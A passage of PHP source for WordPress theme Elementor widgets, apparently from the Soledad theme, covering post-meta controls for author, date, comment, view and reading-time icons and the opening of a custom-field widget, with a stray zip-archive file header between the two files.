			'selectors' => [ '{{WRAPPER}} .post-box-meta-single .avatar' => 'margin-left:{{SIZE}}px;margin-right:{{SIZE}}px' ],
			'condition' => [ 'penci_single_author_avatar!' => 'yes' ],
		] );

		$this->add_control( 'penci_avatar_w', [
			'label'     => esc_html__( 'Author Avatar Width', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::NUMBER,
			'default'   => 30,
			'condition' => [ 'penci_single_author_avatar!' => 'yes' ],
		] );

		$this->add_control( 'penci_single_meta_ava_icon_check', [
			'label'     => esc_html__( 'Hide Post Author Icon?', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'label_on'  => __( 'Yes', 'soledad' ),
			'label_off' => __( 'No', 'soledad' ),
			'condition' => [ 'penci_single_meta_author!' => 'yes' ],
		] );

		$this->add_control( 'penci_single_meta_date', [
			'label'     => esc_html__( 'Hide Post Date?', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'label_on'  => __( 'Yes', 'soledad' ),
			'label_off' => __( 'No', 'soledad' ),
		] );

		$this->add_control( 'penci_single_meta_date_icon_check', [
			'label'     => esc_html__( 'Hide Post Date Icon?', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'label_on'  => __( 'Yes', 'soledad' ),
			'label_off' => __( 'No', 'soledad' ),
			'condition' => [ 'penci_single_meta_date!' => 'yes' ],
		] );

		$this->add_control( 'penci_single_meta_comment', [
			'label'     => esc_html__( 'Hide Post Comments?', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'label_on'  => __( 'Yes', 'soledad' ),
			'label_off' => __( 'No', 'soledad' ),
		] );

		$this->add_control( 'penci_single_meta_comment_icon_check', [
			'label'     => esc_html__( 'Hide Post Comment Icon?', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'label_on'  => __( 'Yes', 'soledad' ),
			'label_off' => __( 'No', 'soledad' ),
			'condition' => [ 'penci_single_meta_comment!' => 'yes' ],
		] );

		$this->add_control( 'penci_single_show_cview', [
			'label'     => esc_html__( 'Hide Post View?', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'label_on'  => __( 'Yes', 'soledad' ),
			'label_off' => __( 'No', 'soledad' ),
		] );

		$this->add_control( 'penci_single_meta_view_icon_check', [
			'label'     => esc_html__( 'Hide Post View Icon?', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'label_on'  => __( 'Yes', 'soledad' ),
			'label_off' => __( 'No', 'soledad' ),
			'condition' => [ 'penci_single_show_cview!' => 'yes' ],
		] );

		$this->add_control( 'penci_single_hreadtime', [
			'label'     => esc_html__( 'Hide Post Reading Time ?', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'label_on'  => __( 'Yes', 'soledad' ),
			'label_off' => __( 'No', 'soledad' ),
		] );

		$this->add_control( 'penci_single_meta_reading_icon_check', [
			'label'     => esc_html__( 'Hide Post Reading Icon?', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'label_on'  => __( 'Yes', 'soledad' ),
			'label_off' => __( 'No', 'soledad' ),
			'condition' => [ 'penci_single_hreadtime!' => 'yes' ],
		] );

		$this->end_controls_section();

		$this->start_controls_section( 'icon_settings', [
			'label' => esc_html__( 'Icon Settings', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_CONTENT,
		] );

		$this->add_control( 'meta_icon_style', [
			'label'   => esc_html__( 'Icon Style', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::SELECT,
			'default' => 'default',
			'options' => [
				'default' => 'Default',
				's1'      => 'Style 1',
				's2'      => 'Style 2',
				's3'      => 'Style 3',
				's4'      => 'Style 4',
			],
		] );

		$this->add_control( 'meta_icon_size', [
			'label'     => esc_html__( 'Icon Width', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcmt-icon' => 'width: {{SIZE}}px;height: {{SIZE}}px;line-height: {{SIZE}}px;',
			),
		] );

		$this->add_control( 'meta_icon_fsize', [
			'label'     => esc_html__( 'Icon Font Size', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcmt-icon' => 'font-size: {{SIZE}}px;',
			),
		] );

		$this->add_control( 'meta_icon_border', [
			'label'     => esc_html__( 'Icon Borders Radius', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcmt-icon' => 'border-radius: {{SIZE}}px;',
			),
		] );

		$this->add_control( 'meta_icon_borderw', [
			'label'     => esc_html__( 'Icon Borders Width', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 10, ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcmt-icon' => 'border-width: {{SIZE}}px;',
			),
		] );

		$this->add_control( 'meta_icon_spacing', [
			'label'     => esc_html__( 'Icon Spacing', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'default'   => array( 'size' => 5 ),
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 50, ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcmt-icon'          => 'margin-right: {{SIZE}}px;',
				'body.rtl {{WRAPPER}} .pcmt-icon' => 'margin-left: {{SIZE}}px;margin-right:0;',
			),
		] );

		$this->add_control( 'penci_single_meta_gnr_icon_color', [
			'label'     => esc_html__( 'Icon Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .pcmt-icon' => 'color:{{VALUE}}' ]
		] );

		$this->add_control( 'penci_single_meta_gnr_bg_color', [
			'label'     => esc_html__( 'Background Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [
				'{{WRAPPER}} .pcmt-icon'                                       => 'background-color:{{VALUE}}',
				'{{WRAPPER}} .post-box-meta-single.style-s3 .pcmt-icon:after'  => 'border-left-color:{{VALUE}} !important',
				'{{WRAPPER}} .post-box-meta-single.style-s4 .pcmt-icon:before' => 'border-left-color:{{VALUE}} !important',

			]
		] );

		$this->add_control( 'penci_single_meta_gnr_bd_color', [
			'label'     => esc_html__( 'Borders Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [
				'{{WRAPPER}} .pcmt-icon'                                      => 'border-color:{{VALUE}} !important',
				'{{WRAPPER}} .post-box-meta-single.style-s4 .pcmt-icon:after' => 'border-left-color:{{VALUE}} !important',
			]
		] );

		$this->end_controls_section();

		$this->start_controls_section( 'author_icon_settings', [
			'label'     => esc_html__( 'Author Icon', 'soledad' ),
			'tab'       => \Elementor\Controls_Manager::TAB_CONTENT,
			'condition' => [ 'penci_single_meta_ava_icon_check!' => 'yes' ],
		] );

		$this->add_control( 'penci_single_meta_ava_icon', [
			'label'            => esc_html__( 'Post Author Icon', 'soledad' ),
			'type'             => \Elementor\Controls_Manager::ICONS,
			'fa4compatibility' => 'icon',
			'default'          => [
				'value'   => 'far fa-user',
				'library' => 'fa-regular',
			]
		] );

		$this->add_control( 'penci_single_meta_author_icon_color', [
			'label'     => esc_html__( 'Icon Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .ava-icon' => 'color:{{VALUE}}' ]
		] );

		$this->add_control( 'penci_single_meta_author_bg_color', [
			'label'     => esc_html__( 'Background Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [
				'{{WRAPPER}} .ava-icon'                                       => 'background-color:{{VALUE}}',
				'{{WRAPPER}} .post-box-meta-single.style-s3 .ava-icon:after'  => 'border-left-color:{{VALUE}} !important',
				'{{WRAPPER}} .post-box-meta-single.style-s4 .ava-icon:before' => 'border-left-color:{{VALUE}} !important',

			]
		] );

		$this->add_control( 'penci_single_meta_author_bd_color', [
			'label'     => esc_html__( 'Borders Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [
				'{{WRAPPER}} .ava-icon'                                      => 'border-color:{{VALUE}} !important',
				'{{WRAPPER}} .post-box-meta-single.style-s4 .ava-icon:after' => 'border-left-color:{{VALUE}} !important',
			]
		] );

		$this->end_controls_section();

		$this->start_controls_section( 'date_icon_settings', [
			'label'     => esc_html__( 'Date Icon', 'soledad' ),
			'tab'       => \Elementor\Controls_Manager::TAB_CONTENT,
			'condition' => [ 'penci_single_meta_date_icon_check!' => 'yes' ],
		] );

		$this->add_control( 'penci_single_meta_date_icon', [
			'label'            => esc_html__( 'Post Date Icon', 'soledad' ),
			'type'             => \Elementor\Controls_Manager::ICONS,
			'fa4compatibility' => 'icon',
			'default'          => [
				'value'   => 'far fa-clock',
				'library' => 'fa-regular',
			]
		] );

		$this->add_control( 'penci_single_meta_date_icon_color', [
			'label'     => esc_html__( 'Icon Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .date-icon' => 'color:{{VALUE}}' ]
		] );

		$this->add_control( 'penci_single_meta_date_bg_color', [
			'label'     => esc_html__( 'Background Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [
				'{{WRAPPER}} .date-icon'                                       => 'background-color:{{VALUE}}',
				'{{WRAPPER}} .post-box-meta-single.style-s3 .date-icon:after'  => 'border-left-color:{{VALUE}} !important',
				'{{WRAPPER}} .post-box-meta-single.style-s4 .date-icon:before' => 'border-left-color:{{VALUE}} !important',

			]
		] );

		$this->add_control( 'penci_single_meta_date_bd_color', [
			'label'     => esc_html__( 'Borders Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [
				'{{WRAPPER}} .date-icon'                                      => 'border-color:{{VALUE}} !important',
				'{{WRAPPER}} .post-box-meta-single.style-s4 .date-icon:after' => 'border-left-color:{{VALUE}} !important',

			]
		] );

		$this->end_controls_section();

		$this->start_controls_section( 'comment_icon_settings', [
			'label'     => esc_html__( 'Comment Icon', 'soledad' ),
			'tab'       => \Elementor\Controls_Manager::TAB_CONTENT,
			'condition' => [ 'penci_single_meta_comment_icon_check!' => 'yes' ],
		] );

		$this->add_control( 'penci_single_meta_comment_icon', [
			'label'            => esc_html__( 'Post Comment Icon', 'soledad' ),
			'type'             => \Elementor\Controls_Manager::ICONS,
			'fa4compatibility' => 'icon',
			'default'          => [
				'value'   => 'far fa-comment-alt',
				'library' => 'fa-regular',
			]
		] );

		$this->add_control( 'penci_single_meta_comment_icon_color', [
			'label'     => esc_html__( 'Icon Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .comment-icon' => 'color:{{VALUE}}' ]
		] );

		$this->add_control( 'penci_single_meta_comment_bg_color', [
			'label'     => esc_html__( 'Background Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [
				'{{WRAPPER}} .comment-icon'                                       => 'background-color:{{VALUE}}',
				'{{WRAPPER}} .post-box-meta-single.style-s3 .comment-icon:after'  => 'border-left-color:{{VALUE}} !important',
				'{{WRAPPER}} .post-box-meta-single.style-s4 .comment-icon:before' => 'border-left-color:{{VALUE}} !important',

			]
		] );

		$this->add_control( 'penci_single_meta_comment_bd_color', [
			'label'     => esc_html__( 'Borders Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [
				'{{WRAPPER}} .comment-icon'                                      => 'border-color:{{VALUE}} !important',
				'{{WRAPPER}} .post-box-meta-single.style-s4 .comment-icon:after' => 'border-left-color:{{VALUE}} !important',

			]
		] );

		$this->end_controls_section();

		$this->start_controls_section( 'view_icon_settings', [
			'label'     => esc_html__( 'Post View Icon', 'soledad' ),
			'tab'       => \Elementor\Controls_Manager::TAB_CONTENT,
			'condition' => [ 'penci_single_meta_view_icon_check!' => 'yes' ],
		] );

		$this->add_control( 'penci_single_meta_view_icon', [
			'label'            => esc_html__( 'Post View Icon', 'soledad' ),
			'type'             => \Elementor\Controls_Manager::ICONS,
			'fa4compatibility' => 'icon',
			'default'          => [
				'value'   => 'far fa-eye',
				'library' => 'fa-regular',
			]
		] );

		$this->add_control( 'penci_single_meta_view_icon_color', [
			'label'     => esc_html__( 'Icon Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .view-icon' => 'color:{{VALUE}}' ]
		] );

		$this->add_control( 'penci_single_meta_view_bg_color', [
			'label'     => esc_html__( 'Background Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [
				'{{WRAPPER}} .view-icon'                                       => 'background-color:{{VALUE}}',
				'{{WRAPPER}} .post-box-meta-single.style-s3 .view-icon:after'  => 'border-left-color:{{VALUE}} !important',
				'{{WRAPPER}} .post-box-meta-single.style-s4 .view-icon:before' => 'border-left-color:{{VALUE}} !important',

			]
		] );

		$this->add_control( 'penci_single_meta_view_bd_color', [
			'label'     => esc_html__( 'Borders Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [
				'{{WRAPPER}} .view-icon'                                      => 'border-color:{{VALUE}} !important',
				'{{WRAPPER}} .post-box-meta-single.style-s4 .view-icon:after' => 'border-left-color:{{VALUE}} !important',

			]
		] );

		$this->end_controls_section();

		$this->start_controls_section( 'reading_icon_settings', [
			'label'     => esc_html__( 'Reading Icon', 'soledad' ),
			'tab'       => \Elementor\Controls_Manager::TAB_CONTENT,
			'condition' => [ 'penci_single_meta_reading_icon_check!' => 'yes' ],
		] );

		$this->add_control( 'penci_single_meta_reading_icon', [
			'label'            => esc_html__( 'Post Reading Icon', 'soledad' ),
			'type'             => \Elementor\Controls_Manager::ICONS,
			'fa4compatibility' => 'icon',
			'default'          => [
				'value'   => 'far fa-book',
				'library' => 'fa-regular',
			]
		] );

		$this->add_control( 'penci_single_meta_reading_icon_color', [
			'label'     => esc_html__( 'Icon Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .reading-icon' => 'color:{{VALUE}}' ]
		] );

		$this->add_control( 'penci_single_meta_reading_bg_color', [
			'label'     => esc_html__( 'Background Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [
				'{{WRAPPER}} .reading-icon'                                       => 'background-color:{{VALUE}}',
				'{{WRAPPER}} .post-box-meta-single.style-s3 .reading-icon:after'  => 'border-left-color:{{VALUE}} !important',
				'{{WRAPPER}} .post-box-meta-single.style-s4 .reading-icon:before' => 'border-left-color:{{VALUE}} !important',
			]

		] );

		$this->add_control( 'penci_single_meta_reading_bd_color', [
			'label'     => esc_html__( 'Borders Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [
				'{{WRAPPER}} .reading-icon'                                      => 'border-color:{{VALUE}} !important',
				'{{WRAPPER}} .post-box-meta-single.style-s4 .reading-icon:after' => 'border-left-color:{{VALUE}} !important',
			]
		] );

		$this->end_controls_section();

		$this->start_controls_section( 'color_style', [
			'label' => esc_html__( 'Color & Styles', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_STYLE,
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'heading_typo',
			'label'    => __( 'Typography for Post Meta', 'soledad' ),
			'selector' => '{{WRAPPER}} .post-box-meta-single',
		) );

		$this->add_control( 'meta-color', [
			'label'     => 'Meta Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .post-box-meta-single, {{WRAPPER}} .post-box-meta-single span' => 'color:{{VALUE}}' ],
		] );

		$this->add_control( 'meta-link-color', [
			'label'     => 'Meta Link Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .post-box-meta-single a' => 'color:{{VALUE}}' ],
		] );

		$this->add_control( 'meta-link-hcolor', [
			'label'     => 'Meta Link Hover Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .post-box-meta-single a:hover' => 'color:{{VALUE}}' ],
		] );

		$this->add_control( 'meta-color-heading', [
			'label' => 'Meta Color',
			'type'  => \Elementor\Controls_Manager::HEADING,
		] );

		$this->add_control( 'meta-author-color', [
			'label'     => 'Author Text Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .author-post,{{WRAPPER}} .author-post .author' => 'color:{{VALUE}}' ],
			'condition' => [ 'penci_single_meta_author!' => 'yes' ],
		] );

		$this->add_control( 'meta-author-lcolor', [
			'label'     => 'Author Link Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .author-post a' => 'color:{{VALUE}}' ],
			'condition' => [ 'penci_single_meta_author!' => 'yes' ],
		] );

		$this->add_control( 'meta-author-hcolor', [
			'label'     => 'Author Link Hover Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .author-post a:hover' => 'color:{{VALUE}}' ],
			'condition' => [ 'penci_single_meta_author!' => 'yes' ],
		] );

		$this->add_control( 'meta-pdate-color', [
			'label'     => 'Post Date Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .pctmp-date-post' => 'color:{{VALUE}} !important' ],
			'condition' => [ 'penci_single_meta_date!' => 'yes' ],
		] );

		$this->add_control( 'meta-pcomment-color', [
			'label'     => 'Post Comment Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .pctmp-comment-post' => 'color:{{VALUE}} !important' ],
			'condition' => [ 'penci_single_meta_comment!' => 'yes' ],
		] );

		$this->add_control( 'meta-pview-color', [
			'label'     => 'Post View Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .pctmp-view-post' => 'color:{{VALUE}} !important' ],
			'condition' => [ 'penci_single_show_cview!' => 'yes' ],
		] );

		$this->add_control( 'meta-preading-color', [
			'label'     => 'Post Reading Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .single-readtime' => 'color:{{VALUE}} !important' ],
			'condition' => [ 'penci_single_hreadtime!' => 'yes' ],
		] );

		$this->end_controls_section();

	}

	protected function render() {

		if ( penci_elementor_is_edit_mode() ) {
			$this->preview_content();
		} else {
			$this->builder_content();
		}

	}

	protected function preview_content() {
		$settings             = $this->get_settings();
		$avatar               = $settings['penci_single_author_avatar'];
		$avatarw              = $settings['penci_avatar_w'];
		$ava_icon_enable      = $settings['penci_single_meta_ava_icon_check'];
		$ava_icon             = $settings['penci_single_meta_ava_icon'];
		$date_icon_enable     = $settings['penci_single_meta_date_icon_check'];
		$date_icon            = $settings['penci_single_meta_date_icon'];
		$commment_icon_enable = $settings['penci_single_meta_comment_icon_check'];
		$commment_icon        = $settings['penci_single_meta_comment_icon'];
		$view_icon_enable     = $settings['penci_single_meta_view_icon_check'];
		$view_icon            = $settings['penci_single_meta_view_icon'];
		$reading_icon_enable  = $settings['penci_single_meta_reading_icon_check'];
		$reading_icon         = $settings['penci_single_meta_reading_icon'];
		$icon_style           = $settings['meta_icon_style'];
		$label_text           = $settings['hide_meta_label'];
		global $post;
		?>
        <div class="post-box-meta-single style-<?php echo esc_attr( $icon_style ); ?>">
			<?php if ( ! $settings['penci_single_meta_author'] ) : ?>
                <span class="author-post byline">
            <span class="author vcard">
			<?php
			if ( ! $ava_icon_enable && $ava_icon ) {
				echo '<span class="pcmt-icon ava-icon">';
				\Elementor\Icons_Manager::render_icon( $ava_icon );
				echo '</span>';
			}
			?>
	            <?php if ( ! $label_text ) {
		            echo penci_get_setting( 'penci_trans_written_by' );
	            } ?>
	            <?php
	            $author_ids     = [];
	            $post_author_id = get_post_field( 'post_author', $post->ID );
	            if ( $post_author_id ) {
		            $author_ids[] = $post_author_id;
	            }

	            if ( function_exists( 'coauthors__echo' ) ) {
		            $author_list = coauthors__echo( 'ID', 'field', array(
			            'between'     => ',',
			            'betweenLast' => ',',
			            'before'      => '',
			            'after'       => '',
		            ), null, false );
		            if ( $author_list ) {
			            $author_ids = explode( ',', $author_list );
		            }
	            }
	            $total   = count( $author_ids );
	            $current = 0;
	            foreach ( $author_ids as $author_id ) {
		            $current ++;
		            ?>

                    <a class="author-url url fn n"
                       href="<?php echo get_author_posts_url( $author_id ); ?>">
                                                <?php
                                                if ( ! $avatar ) {
	                                                echo get_avatar( $author_id, $avatarw );
                                                } else {
	                                                echo $current == 2 ? ', ' : ( ( $current == $total && $total > 1 ) ? ' & ' : '' );
                                                }
                                                echo get_the_author_meta( 'display_name', $author_id ); ?>
                                            </a>
	            <?php } ?>
                </span>
                </span>
			<?php endif; ?>
			<?php if ( ! $settings['penci_single_meta_date'] ) : ?>
                <span class="pctmp-date-post">
				<?php
				if ( ! $date_icon_enable && $date_icon ) {
					echo '<span class="pcmt-icon date-icon">';
					\Elementor\Icons_Manager::render_icon( $date_icon );
					echo '</span>';
				}
				?>
				<?php penci_soledad_time_link( 'single' ); ?></span>
			<?php endif; ?>
			<?php if ( ! $settings['penci_single_meta_comment'] ) :
				?>
                <span class="pctmp-comment-post">
            <?php
            if ( ! $commment_icon_enable && $commment_icon ) {
	            echo '<span class="pcmt-icon comment-icon">';
	            \Elementor\Icons_Manager::render_icon( $commment_icon );
	            echo '</span>';
            }
            $comment_text  = ! $label_text ? penci_get_setting( 'penci_trans_comment' ) : '';
            $comments_text = ! $label_text ? penci_get_setting( 'penci_trans_comments' ) : '';
            ?>
            <?php comments_number( '0 ' . $comments_text, '1 ' . $comment_text, '% ' . $comments_text ); ?></span>
			<?php endif; ?>
			<?php if ( ! $settings['penci_single_show_cview'] ) :
				?>
                <span class="pctmp-view-post">
            <?php
            if ( ! $view_icon_enable && $view_icon ) {
	            echo '<span class="pcmt-icon view-icon">';
	            \Elementor\Icons_Manager::render_icon( $view_icon );
	            echo '</span>';
            }
            ?>
                <i class="penci-post-countview-number"><?php echo penci_get_post_views( get_the_ID() ); ?></i> <?php if ( ! $label_text ) {
						echo penci_get_setting( 'penci_trans_countviews' );
					} ?></span>
			<?php endif; ?>
			<?php if ( penci_isshow_reading_time( $settings['penci_single_hreadtime'] ) ):
				?>
                <span class="single-readtime">
            <?php
            if ( ! $reading_icon_enable && $reading_icon ) {
	            echo '<span class="pcmt-icon reading -icon">';
	            \Elementor\Icons_Manager::render_icon( $reading_icon );
	            echo '</span>';
            }
            ?>
            <?php penci_reading_time(); ?></span>
			<?php endif; ?>
			<?php do_action( 'penci_single_meta_content' ); ?>
        </div>
		<?php
	}

	protected function builder_content() {
		$settings             = $this->get_settings();
		$hide_readtime        = $settings['penci_single_hreadtime'];
		$avatar               = $settings['penci_single_author_avatar'];
		$avatarw              = isset( $settings['penci_avatar_w'] ) && $settings['penci_avatar_w'] ? $settings['penci_avatar_w'] : 32;
		$ava_icon_enable      = $settings['penci_single_meta_ava_icon_check'];
		$ava_icon             = $settings['penci_single_meta_ava_icon'];
		$date_icon_enable     = $settings['penci_single_meta_date_icon_check'];
		$date_icon            = $settings['penci_single_meta_date_icon'];
		$commment_icon_enable = $settings['penci_single_meta_comment_icon_check'];
		$commment_icon        = $settings['penci_single_meta_comment_icon'];
		$view_icon_enable     = $settings['penci_single_meta_view_icon_check'];
		$view_icon            = $settings['penci_single_meta_view_icon'];
		$reading_icon_enable  = $settings['penci_single_meta_reading_icon_check'];
		$reading_icon         = $settings['penci_single_meta_reading_icon'];
		$icon_style           = $settings['meta_icon_style'];
		$label_text           = $settings['hide_meta_label'];
		global $post;
		$author_ids = [];
		$author_id  = get_post_field( 'post_author', get_the_ID() );
		if ( $author_id ) {
			$author_ids[] = $author_id;
		}
		if ( function_exists( 'coauthors__echo' ) ) {
			$author_list = coauthors__echo( 'ID', 'field', array(
				'between'     => ',',
				'betweenLast' => ',',
				'before'      => '',
				'after'       => '',
			), null, false );
			if ( $author_list ) {
				$author_ids = explode( ',', $author_list );
			}
		}
		$total   = count( $author_ids );
		$current = 0;
		?>
        <div class="post-box-meta-single style-<?php echo esc_attr( $icon_style ); ?>">
			<?php if ( ! $settings['penci_single_meta_author'] ) :
				?>
                <span class="author-post byline">
                    <span class="author vcard">
                        <?php
                        if ( ! $ava_icon_enable && $ava_icon ) {
	                        echo '<span class="pcmt-icon ava-icon">';
	                        \Elementor\Icons_Manager::render_icon( $ava_icon );
	                        echo '</span>';
                        }
                        ?>
	                    <?php if ( ! $label_text ) {
		                    echo penci_get_setting( 'penci_trans_written_by' );
	                    } ?>
	                    <?php foreach ( $author_ids as $author_id ) {
		                    $current ++;
		                    ?>
                            <a class="author-url url fn n"
                               href="<?php echo get_author_posts_url( $author_id ); ?>">
                            <?php
                            if ( ! $avatar ) {
	                            echo get_avatar( $author_id, $avatarw );
                            } else {
	                            echo $current == 2 ? ', ' : ( ( $current == $total && $total > 1 ) ? ' & ' : '' );
                            }
                            echo get_the_author_meta( 'display_name', $author_id ); ?>
                        </a>
	                    <?php } ?>
                    </span>
                </span>
				<?php penci_author_update_name( $settings['penci_single_meta_author_update'], $avatar, $avatarw ); ?>
			<?php endif; ?>
			<?php if ( ! $settings['penci_single_meta_date'] ) : ?>
                <span class="pctmp-date-post">
				<?php
				if ( ! $date_icon_enable && $date_icon ) {
					echo '<span class="pcmt-icon date-icon">';
					\Elementor\Icons_Manager::render_icon( $date_icon );
					echo '</span>';
				}
				?>
				<?php penci_soledad_time_link( 'single' ); ?></span>
			<?php endif; ?>
			<?php if ( ! $settings['penci_single_meta_comment'] ) :
				?>
                <span class="pctmp-comment-post">
            <?php
            if ( ! $commment_icon_enable && $commment_icon ) {
	            echo '<span class="pcmt-icon comment-icon">';
	            \Elementor\Icons_Manager::render_icon( $commment_icon );
	            echo '</span>';
            }
            $comment_text  = ! $label_text ? ' ' . penci_get_setting( 'penci_trans_comment' ) : '';
            $comments_text = ! $label_text ? ' ' . penci_get_setting( 'penci_trans_comments' ) : '';
            ?>
            <?php comments_number( '0' . $comments_text, '1' . $comment_text, '%' . $comments_text ); ?></span>
			<?php endif; ?>
			<?php if ( ! $settings['penci_single_show_cview'] ) : ?>
                <span class="pctmp-view-post">
            <?php
            if ( ! $view_icon_enable && $view_icon ) {
	            echo '<span class="pcmt-icon view-icon">';
	            \Elementor\Icons_Manager::render_icon( $view_icon );
	            echo '</span>';
            }
            ?>
                <i class="penci-post-countview-number"><?php echo penci_get_post_views( get_the_ID() ); ?></i><?php if ( ! $label_text ) {
						echo ' ' . penci_get_setting( 'penci_trans_countviews' );
					} ?></span>
			<?php endif; ?>
			<?php if ( penci_isshow_reading_time( $hide_readtime ) ):
				?>
                <span class="single-readtime">
            <?php
            if ( ! $reading_icon_enable && $reading_icon ) {
	            echo '<span class="pcmt-icon reading-icon">';
	            \Elementor\Icons_Manager::render_icon( $reading_icon );
	            echo '</span>';
            }
            ?>
            <?php penci_reading_time(); ?></span>
			<?php endif; ?>
			<?php do_action( 'penci_single_meta_content' ); ?>
        </div>
		<?php
	}
}
PK     2w\,  ,  1  template-builder/single-elements/custom-field.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}


class PenciSingleCustomfield extends \Elementor\Widget_Base {

	public function get_title() {
		return esc_html__( 'Post - Custom Field', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-post-title';
	}

	public function get_categories() {
		return [ 'penci-single-builder' ];
	}

	public function get_keywords() {
		return [ 'meta', 'field' ];
	}

	protected function get_html_wrapper_class() {
		return 'pcsb-csf elementor-widget-' . $this->get_name();
	}

	public function get_name() {
		return 'penci-single-custom-field';
	}

	protected function register_controls() {

		$this->start_controls_section( 'content_section', [
			'label' => esc_html__( 'General', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_CONTENT,
		] );

		$this->add_control( 'meta_source', [
			'label'   => esc_html__( 'Meta Source', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::SELECT,
			'default' => 'custom',
			'options' => [
				'custom' => 'Custom Meta Field',
				'acf'    => 'Advanced Custom Field',
			]
		] );

		$this->add_control( 'meta', [
			'label'     => esc_html__( 'Meta Key', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::TEXT,
			'condition' => [ 'meta_source' => 'custom' ]
		] );

		$this->add_control( 'acf', [
			'label'       => esc_html__( 'ACF Field', 'soledad' ),
			'description' => __( 'You can show your own custom fields easily by using the <a href="https://wordpress.org/plugins/advanced-custom-fields/" target="_blank">Advanced Custom Fields</a> plugin.', 'soledad' ),
			'type'        => \Elementor\Controls_Manager::SELECT2,
			'options'     => penci_get_afc_fields( true ),
			'condition'   => [ 'meta_source' => 'acf' ]
		] );

		$this->add_control( 'meta_label', [
			'label' => esc_html__( 'Meta Label', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::TEXT,
		] );

		$this->add_control( 'meta_align', [
			'label'     => __( 'Meta Text Align', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::CHOOSE,
			'default'   => 'left',
			'options'   => array(
				'left'   => array(
					'title' => __( 'Left', 'soledad' ),
					'icon'  => 'eicon-text-align-left',
				),
				'center' => array(
					'title' => __( 'Center', 'soledad' ),
					'icon'  => 'eicon-text-align-center',
				),
				'right'  => array(
					'title' => __( 'Right', 'soledad' ),
					'icon'  => 'eicon-text-align-right',
				),
			),
